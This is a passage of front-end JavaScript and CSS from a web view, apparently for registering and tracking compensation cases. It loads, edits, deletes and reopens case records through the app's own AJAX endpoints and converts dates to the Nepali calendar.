$('#caseStatusInDetailModel').text(response.CaseStatus); $('#collectionDateInDetailModel').text(response.CollectionDateNepali + " BS"); $('#remarksDetailModel').text(response.Remarks); } }) } function editCurrentCaseStatus(id) { resetPopUpForm(); const ajax = request(id); function request(id) { const url = '/caseregistration/workflow/record/' + id; return window.getAjaxRequest(url, "Get", id); } ajax.done(function (response) { debugger; console.log(response); $('#CaseStatusTypeId').val(response.CaseStatusId); $('#Remarks').val(response.Remarks); $('#CaseUpdateId').val(response.Id); $('#CaseRegistrationId').val(response.CaseRegistrationId); if (response.collectionDate === null) { response.collectionDate = ''; } var collectionDate = new Date(formatDate(response.CollectionDate)); var collectionNepaliDate = calendarFunctions.getBsDateByAdDate(collectionDate.getFullYear(), collectionDate.getMonth() + 1, collectionDate.getDate()); var formattedNepaliDate = calendarFunctions.bsDateFormat("%y-%M-%d", collectionNepaliDate.bsYear, collectionNepaliDate.bsMonth, collectionNepaliDate.bsDate); $("#collectionDatePicker").val(formattedNepaliDate); $('#CollectionDateNepali').val(response.CollectionDateNepali); $('#CollectionDate').val(response.CollectionDate); window.scrollTo(0, 0); $('#setStatusOfCaseModelForm').modal('show'); }); ajax.fail(function (xhr) { ShowMessage("error", xhr.responseText); }); } function deleteCurrentCaseRegistrationRecord(id) { let conf = confirm(`Are you sure you want to delete this Record ?`); if (!conf) { return; } else { const ajaxResponse = requestCaseRegistrationRecordToDelete(id); ajaxResponse.done(function (response) { WorkForce.loader.hide(); if (response) { loadCaseRegistrationRecord(); ShowMessage("success", "Successfully Deleted this Record"); } WorkForce.loader.hide(); }); ajaxResponse.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("Error", xhr.responseText); }); WorkForce.loader.hide(); } } function requestCaseRegistrationRecordToDelete(id) { const url = "/caseregistration/workflow/record/delete/"; const data = JSON.stringify({ "Id": id}); return window.getAjaxRequest(url, "POST", data); } function closeDetailModelPopUp() { $('#showCaseDetails').hide(); } function loadCompensationData() { const ajax = request(); function request() { const url = '/caseregistration/compensation/' + @Model.FnIncidentCaseRegistrationList.id; return window.getAjaxRequest(url, "Get", @Model.FnIncidentCaseRegistrationList.id); } ajax.done(function (response) { if (response !== 'OK') { addCaseRegistrationCompensationWorkFlowToTable(response); } }); ajax.fail(function (xhr) { ShowMessage("error", xhr.responseText); }); } function addCaseRegistrationCompensationWorkFlowToTable(x) { $('#tblIncidentCaseCompensationStatus tbody').empty(); var table = $("#tblIncidentCaseCompensationStatus tbody"); //console.log(response); //const allow_edit_delete = response.filter(function (x) { // if (x.status === 'Closed') { // return true; // } //}); //if (allow_edit_delete.length > 0) { // $('.hide-case-button').hide(); // $('.show_hide_tbl_edit_delete').hide(); // $('.case_closed_message').show(); //} //response.forEach(function (x) { //var created_On_Date= new Date(x.created_on); // var created_On_Date_Nepali = calendarFunctions.getBsDateByAdDate(created_On_Date.getFullYear(), created_On_Date.getMonth() + 1, created_On_Date.getDate()); $('#Feb').val(getNumberWithComma(x.Feb)); $('#ManpowerCompany').val(getNumberWithComma(x.ManpowerCompany)); $('#InsuranceCompany').val(getNumberWithComma(x.InsuranceCompany)); $('#DestinationCountry').val(getNumberWithComma(x.DestinationCountry)); $('#MedicalCenter').val(getNumberWithComma(x.MedicalCenter)); $('#Other').val(getNumberWithComma(x.Other)); $('#RemarksOfCompensationCase').val(x.Remarks); $('#ManpowerCompany').val(x.ManpowerCompany); $('#Id').val(x.Id); var row = "<tr>"; row += "<td>" + x.CaseRegistrationId + "</td>"; row += "<td> Rs. " + getNumberWithComma(x.Feb) + "</td>"; row += "<td> Rs. " + getNumberWithComma(x.ManpowerCompany) + "</td>"; row += "<td> Rs. " + getNumberWithComma(x.Agent) + "</td>"; row += "<td> Rs. " + getNumberWithComma(x.InsuranceCompany) + "</td>"; row += "<td> Rs. " + getNumberWithComma(x.DestinationCountry) + "</td>"; row += "<td> Rs. " + getNumberWithComma(x.MedicalCenter) + "</td>"; row += "<td> Rs. " +getNumberWithComma( x.Other) + "</td>"; row += "<td>" + x.Remarks + "</td>"; //if (allow_edit_delete.length == 0) { // row += "<td>" + "<a class='btn btn-default btn-xs ' style='color:dodgerblue' onclick=editCurrentCaseStatus(" + x.id + ") ><i class='fa fa-edit'></i></a>" + // " <a class='btn btn-default btn-xs ' style='color:dodgerblue' onclick=deleteCurrentCaseRegistrationRecord(" + x.id + ") ><i class='fa fa-trash'></i ></a>"; //} //else { // row += "<td>" + // "<a class='btn btn-default btn-xs' style='color:dodgerblue' onclick=showClickedCaseStatus(" + x.id + ")><i class='fa fa-eye'></i ></a> </td > "; //} table.append(row); //}) } function openClosedCase() { let conf = confirm(`Are you sure you want to Re-Open Case Registration ?`); if (!conf) { return; } else { var ajax = requestForReOpeningCaseRegistrationSubmit(); WorkForce.loader.show(); ajax.done(function (response) { WorkForce.loader.hide(); if (response) { ShowMessage("success", "Success."); loadCaseRegistrationRecord(); } }) } } function requestForReOpeningCaseRegistrationSubmit() { const url = "/caseregistration/status/open"; var caseStatusId = 1; const data = JSON.stringify({ "CaseRegistrationId": '@Model.FnIncidentCaseRegistrationList.id', "CaseStatusId": caseStatusId }); return window.getAjaxRequest(url, "POST", data); } function formatDate(date) { var d = new Date(date), month = '' + (d.getMonth() + 1), day = '' + d.getDate(), year = d.getFullYear(); if (month.length < 2) month = '0' + month; if (day.length < 2) day = '0' + day; return [year, month, day].join('-'); } function updateMrcMidCompensation() { $("#updateCompensationCaseModelPopUpForm").modal({backdrop:false,show:true}); $("#updateCompensationCaseModelPopUpForm").removeClass("modal"); //this will make modal moveable// $("#updateCompensationCaseModelPopUpForm .modal-dialog").draggable({ handle: ".moveable-modal-header" }); $('#updateCompensationCaseModelPopUpForm').modal('show'); } function closeMrcMidCloseCase() { checkCaseRegisteredOneYearAgoAndCanDropOutOrSimplyCanClose(); } //If Case is Dropped out then can only closed after 1 year of Closed case //If case is Solved then can Closed the Case ( No Date Limitation) function checkCaseRegisteredOneYearAgoAndCanDropOutOrSimplyCanClose() { var result = false; const ajax = request(); function request() { const url = '/caseregistration/check/dropout_to_close_case/' + @Model.FnIncidentCaseRegistrationList.id; return window.getAjaxRequest(url, "Get", @Model.FnIncidentCaseRegistrationList.id); } ajax.done(function (response) { if (response) { $('#closePopUpModel').modal('show'); } else { ShowMessage("error", "Sorry! Case Must be more than 1 year to Close Dropped Out Case."); } }); ajax.fail(function (xhr) { ShowMessage("error", xhr.responseText); }); return result; } // If dropped out or solved then Cannot update the case function checkThisCaseHasDropOutOrSolved() { const ajax = request(); function request() { const url = '/caseregistration/check/has_dropout/or/has_solved/' + @Model.FnIncidentCaseRegistrationList.id; return window.getAjaxRequest(url, "Get", @Model.FnIncidentCaseRegistrationList.id); } ajax.done(function (response) { if (response) { ShowMessage("error", "Cannot be Update if Case has already Solved or Dropped Out"); } else { $('#setStatusOfCaseModelForm').modal('show'); } }); ajax.fail(function (xhr) { ShowMessage("error", xhr.responseText); }); } function isNumberKey(element,evt) { var charCode = (evt.which) ? evt.which : event.keyCode if (charCode > 31 && (charCode < 48 || charCode > 57) && !(charCode == 46 || charCode == 8)) return false; else { var len = $(element).val().length; var index = $(element).val().indexOf('.'); if (index > 0 && charCode == 46) { return false; } if (index > 0) { var CharAfterdot = (len + 1) - index; if (CharAfterdot > 3) { return false; } } } return true; } function getNumberWithComma(value) { value = value||0 return Number(parseFloat(value).toFixed(2)).toLocaleString("en-IN", { minimumFractionDigits: 0 }) } function removeCommaFromString(value) { var result = parseFloat(value.replace(/,/g, '')); if (isNaN(result)) { return 0; } else { return result; } } </script> <style> .nav-tabs > li.active > a { background-color: gray !important; border: medium none; border-radius: 0; color: white; } .anim { transition: background 5s linear; } .highlight { background: gray; } .normal { background: transparent; } .modal-header { cursor: move; } /*.modal-backdrop { display: none !important; } .modal-open .modal { width: 500px; margin: 0 auto; }*/ .custom-modal { position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); width: fit-content; height: fit-content; padding: 0 !important; } .custom-modal:focus { outline: 0; } .modal-dialog { margin: 0; } </style>
Save